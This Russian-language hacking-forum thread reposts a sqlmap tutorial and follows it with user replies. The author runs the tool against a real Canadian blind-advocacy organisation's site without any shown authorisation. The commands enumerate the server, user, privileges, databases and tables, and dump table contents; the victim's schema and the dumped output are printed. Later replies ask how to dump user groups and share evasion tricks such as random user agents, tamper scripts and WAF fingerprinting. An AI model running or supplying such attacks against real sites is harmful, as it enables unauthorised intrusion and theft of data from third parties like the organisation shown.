Статьи Auto-SQL Injections. Example 1

Discussion in 'Статьи' started by Seymour, 14 Jun 2010.

  1. Seymour

    Seymour New Member

    Joined:
    28 May 2010
    Messages:
    1
    Likes Received:
    4
    Reputations:
    6
    Author: Prosper-H
    Source: forum.reverse4you.org


    Auto-SQL Injections. Example 1


    Доброго времени суток!

    В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap.

    SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle.

    Что же может данная утилита? А может она многое, вот некоторые ее возможности:

    • Определения "банера системы" (сервера, интерпретатора скриптов, базы данных);
    • Отображении имени пользователя, под которым работает атакуемое хозяйство;
    • Отображение баз данных, таблиц, колонок и полей;
    • Позволяет определить, есть ли у пользователя права администратора БД;
    • Позволяет выполнять произвольные SQL-запросы;
    • При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли;
    • Позволяет сделать дамп, как отдельных таблиц, так и полный =);
    • Может взаимодействовать со всем нам известным Metasploit"ом;
    • Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт;
    • Может взаимодействовать с дядей Гуглом;
    • Есть поддержка прокси;
    • Данные могут отправляться как методом GET(по умолчанию), так и POST;
    • Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR();
    • Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды;
    • И еще куча прибомбасов... =)

    Вступление сделали - пришла пора потрогать утилитку.

    Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net и заберем свежую, на данный момент, версию "sqlmap 0.8".

    Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap.

    Счастливые обладатели никсов, надеюсь разберутся с запуском и сами ;)

    Итак, скачали, распаковали и что же дальше?

    А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен: http://blindcanadians.ca/press_releases/index.php?BriefID=50.

    С целью определились - приступим к пентестингу:

    Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано:

    Code:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Из представленного листинга мы видим, что:
    • Сервер: Apache 2.0.63
    • Интерпретатор: PHP 5.2.5
    • База данных: MySQL 5 (5.0.90-community)

    В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".

    Продолжим и узнаем под каким пользователем работает база данных:

    Code:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
    Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:

    Code:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Параметр "--current-db", просит SQLMap отобразит БД.

    Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    Параметр "--is-dba" используется для определения прав администратора (True/False) у юзера. Как видим, из приведенно примера, администраторских прав у нас нет =(. Ну да ладно. Едем дальше...

    С помощью нехитрого параметра "--dbs", посмотрим список БД:

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
    Далее, посмотрим таблицы в этих БД, используя параметр "--tables":

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
    HTML:
    ...
    Database: blindcan_bulletin
    [1 table]
    +---------------------------------------+
    | Bulletin
    +---------------------------------------+
    
    Database: blindcan_rating
    [3 tables]
    +---------------------------------------+
    | Category
    | Rating 
    | Resources
    +---------------------------------------+
    
    Database: blindcan_mentor
    [12 tables]
    +---------------------------------------+
    | Availability 
    | Chapters
    | Gender
    | MaterialsFormat 
    | Member
    | MembershipTypes
    | MenteeAge
    | MenteeFormat
    | Person 
    | Province
    | Skills
    | Type
    +---------------------------------------+
    
    Database: blindcan_products
    [4 tables]
    +---------------------------------------+
    | category
    | distributor
    | manufacturer
    | products
    +---------------------------------------+
    
    Database: blindcan_aebc
    [11 tables]
    +---------------------------------------+
    | Briefs
    | cbm
    | cbm_fixed_text
    | Correspondence
    | Issues
    | new_cbm
    | new_cbm_issues
    | Releases
    | Reports
    | resolutions
    | Scholarship
    +---------------------------------------+
    
    Database: blindcan_membership
    [12 tables]
    +---------------------------------------+
    | cbm
    | chapter
    | correspondence
    | dues
    | format
    | member
    | member_old
    | membership_type
    | organization_type
    | payment
    | privilege
    | province
    +---------------------------------------+
    
    Database: blindcan_survey
    [17 tables]
    +---------------------------------------+
    | apAge
    | apCategory
    | apDistributor
    | apFavorite
    | apGender
    | apPopulation
    | apProducts
    | apPurchaseType
    | apReadingMethod
    | apSurvey
    | apSurveyReadingMethod
    | apWishList
    | NameChange
    | statement
    | tbase
    | tbase_like_statement
    | tbase_statement
    +---------------------------------------+
    
    Database: information_schema
    [17 tables]
    +---------------------------------------+
    | CHARACTER_SETS
    | COLLATION_CHARACTER_SET_APPLICABILITY
    | COLLATIONS
    | COLUMN_PRIVILEGES
    | COLUMNS
    | KEY_COLUMN_USAGE
    | PROFILING
    | ROUTINES
    | SCHEMA_PRIVILEGES
    | SCHEMATA
    | STATISTICS
    | TABLE_CONSTRAINTS
    | TABLE_PRIVILEGES
    | TABLES
    | TRIGGERS
    | USER_PRIVILEGES
    | VIEWS
    +---------------------------------------+
    
    [03:22:38] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 03:22:38
    Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду:

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
    HTML:
    ...
    Database: blindcan_rating
    [3 tables]
    +-----------+
    | Category
    | Rating
    | Resources
    +-----------+
    
    [06:03:35] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:03:35
    Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так:

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases//index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
    HTML:
    ...
    Database: blindcan_bulletin
    Table: Bulletin
    [6 columns]
    +-------------+--------------+
    | Column      | Type
    +-------------+--------------+
    | BulletinID  | int(11)
    | ContactInfo | varchar(255)
    | Description | text
    | Expires     | date
    | PostDate    | date
    | Subject     | varchar(100)
    +-------------+--------------+
    
    [06:13:52] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:13:52
    Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных.

    Для тех, кого интересуют внутренности таблиц(ы) - могут использовать ниже приведенную команду, для дампа последней(них):

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
    HTML:
    Database: blindcan_rating
    Table: Category
    [13 entries]
    +------------+----------------------------------------------------+
    | CategoryID | Description
    +------------+----------------------------------------------------+
    | 1          | Advocacy
    | 2          | Alternative Formats
    | 3          | Camps
    | 4          | Deaf-Blindness
    | 5          | Education
    | 6          | Employment
    | 7          | Eye Health / Medical Organizations, Information an
    | 8          | Guide Dogs
    | 9          | Low Vision
    | 10         | On-Line Information and Resources
    | 11         | Products and Technologies
    | 12         | Rehabilitation
    | 13         | Services and Support
    +------------+----------------------------------------------------+
    
    [06:59:16] [INFO] Table 'blindcan_rating.Category' dumped to CSV file '/src/sqlmap/output/blindcanadians.ca/dump/blindcan_rating/Category.csv'
    [06:59:16] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:59:16
    Если же интересует, не вся таблица, а конкретные столбци, то их можно выбрать добавив параметры "--start" и "--stop". Выглядеть это будет так:

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
    Параметр "--start" - указывает на начальную строку таблици, а параметр "--stop" соответственно - на конечную.

    Сделать полный бэкап, можно используя параметр "--dum-all":

    Code:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
    На этом разрешите откланяться.

    Успехов!

    Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.

    Собственно перечень всех команд, можно посмотреть в официально мануале "sqlmap user's manual" (EN), который находится в распакованном архиве "sqlmap/doc/README.(html|PDF)" или проследовать на оффсайт: http://sqlmap.sourceforge.net/doc/README.(html|PDF).

    PS: Продолжение следует...

    Prosper-H (c) reverse4you.org


    Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
     
  2. apolon47

    apolon47 Banned

    Joined:
    13 Apr 2009
    Messages:
    119
    Likes Received:
    14
    Reputations:
    4
    скачал portable версию для windows
    скинул в C:\sqlmap, туда же cmd.exe

    пробую запустить
    sqlmap -u "http://site/?id=33" -b -v 1

    >Не удается выполнить указанную программу

    подскажите в чем ошибка? блочит что то? nod выключен
     
  3. wsn

    wsn New Member

    Joined:
    10 Feb 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Как вообще запустить эту прогу?
     
  4. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    тоже не пашет
     
  5. usr-bin

    usr-bin New Member

    Joined:
    17 Sep 2010
    Messages:
    22
    Likes Received:
    3
    Reputations:
    5
    Поставить питон и все будет работать без проблем тестил на питоне 2.7 и виндовс 7.
     
  6. Static

    Static New Member

    Joined:
    17 Jul 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    версия питона та же ... не пашет (
     
  7. kitman12

    kitman12 New Member

    Joined:
    7 Dec 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    а есть аналогичный софт, но который может работать по списку урл ?
    выдел где то статью под багтрак, но не могу найти.
     
  8. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Подскажите как дампить указанные поля к примеру с usergroup=6?
    Вот так дампит с первого по пятый юзеров:
    ./sqlmap.py -u http://www.site.com/index.php?id=1 -p id --dump -T user -D database -C userid,username,password --start 1 --stop 5

    А мне нужно сдампить всех кто есть в usergroup 6.
     
  9. (anonymous)

    (anonymous) New Member

    Joined:
    29 Feb 2012
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Уважаемый автор.Подскажи плиз вот я запустил прогу ввёл юрл и мне пишут вот такое- unable to connect to the target url or proxy.В чём же проблема?
     
  10. fen1xmv

    fen1xmv Member

    Joined:
    10 Feb 2011
    Messages:
    24
    Likes Received:
    6
    Reputations:
    0
    Либо проблема в юрл который вы задали, либо в прокси который используйте.
     
  11. (anonymous)

    (anonymous) New Member

    Joined:
    29 Feb 2012
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    в урл проблемы нет а прокси не юзал даже может в конфиге прокси прописан который сдох уже?
     
  12. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    Софтик неплох, но весьма медлителен.
    Для тех у кого что либо не получается или не коннектиться, советую внимательно проверить синтакс задаваемый в консоль.
    Открываем консоль-> прописываем путь к самому exe, у меня например так:
    C:\Users\Admin\Sql_08\sql.exe -u "ВАШ_УРЛ" -b -v 1
     
  13. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    Насчет медлительности вкорне не согласен :)
    Если вы намекаете про 10 потоков, то ето легко меняется на большее количесво(где то в дебрях *.py файла).

    Советую поставить Activslate python, он сам "пропишет" алиасы для запуска питона(для windows имею в виду.) :)

    Удобно использовать опцию -z для сокращенеия команад, и не забываем про --random-agent =)

    -z "random-ag,tec=BEUS"​

    парметр --tamper
    --tamper "space2plus.py" напрмиер, чтобы всто пробелов подставлялось + итп. Просмотрите директорию tamper в папке с sqlmap. в каждом файлике есть описание что делает скрипт.


    Качайте dev версию, иначе лишитесь доплнительных фишек.
    svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev


    ЗЫ Сначала скулю руками(это важно) раскрутить нужно, потм уже сувать в скульмап с необходимыми параметрами :).
     
    #13 m00c0w, 7 Mar 2012
    Last edited: 7 Mar 2012
  14. matvejcik

    matvejcik New Member

    Joined:
    22 Nov 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    как правильно зделать запрос если ниче не выводится вот пример
    php?id=1%27%22
     
  15. Brooklyn111

    Brooklyn111 New Member

    Joined:
    13 Feb 2011
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    посоветуйте пожалуйста какие опции юзать в sqlmap для https
     
  16. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    если вы про сертификат задаете вопрос, так и пишите: "как указать сертификат."
    Ответ:
    --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)


    https://github.com/sqlmapproject/sqlmap/wiki/Usage

    Когда что то не получается, обязательно на стадии тестирования уязвимости включаем логгирование запросов и ответов от сервера. смотрим что не так. можно даже через прокси пропустить (burpsuite или zap proxy.)
     
    #16 m00c0w, 11 Feb 2013
    Last edited: 11 Feb 2013
  17. Brooklyn111

    Brooklyn111 New Member

    Joined:
    13 Feb 2011
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    m00c0w, благодарю за ответ, но думаю, что речь не о сертификатах, есть url https://blabla/index.php?id=1, на котором есть sql инъекция, мое дальнейшее действие, делаю запрос в sqlmap обычно как и на http:
    sqlmap.py -u "https://blabla/index.php?id=1" --dbs
    [15:48:19] [INFO] testing connection to the target url
    [15:48:22] [INFO] testing if the url is stable, wait a few seconds
    [15:48:25] [INFO] url is stable
    [15:48:25] [INFO] testing if GET parameter 'id' is dynamic
    [15:48:26] [INFO] confirming that GET parameter 'id' is dynamic
    [15:48:28] [INFO] GET parameter 'id' is dynamic
    [15:48:29] [WARNING] heuristic test shows that GET parameter 'id' might not be i
    njectable
    итог ноль, судя по всему для https опции нужны другие, не могли бы вы подсказать пример, все пояснения которые я нашел в сети касаются только работы с http. заранее признателен!
     
  18. Ne0h16xor

    Ne0h16xor New Member

    Joined:
    13 Oct 2018
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
    [12:22:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
    [12:23:28] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
    [12:24:00] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
    [12:24:32] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
    [12:25:34] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
    [12:26:25] [CRITICAL] connection timed out to the target URL
    привет народ че делать подскажите пожалуйста
     
  19. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    написано что нет коннекта, может сервер блочит, может waf есть, без контекста сказать точно нельзя
    с другого ip стукнись - есть ошибка? без sqlmap, руками, стукнись - ошибка есть?
    и вообще топик нифига не тот :(
     
    _________________________
  20. Ne0h16xor

    Ne0h16xor New Member

    Joined:
    13 Oct 2018
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    waf modsecurity я его этим нашёл waf00f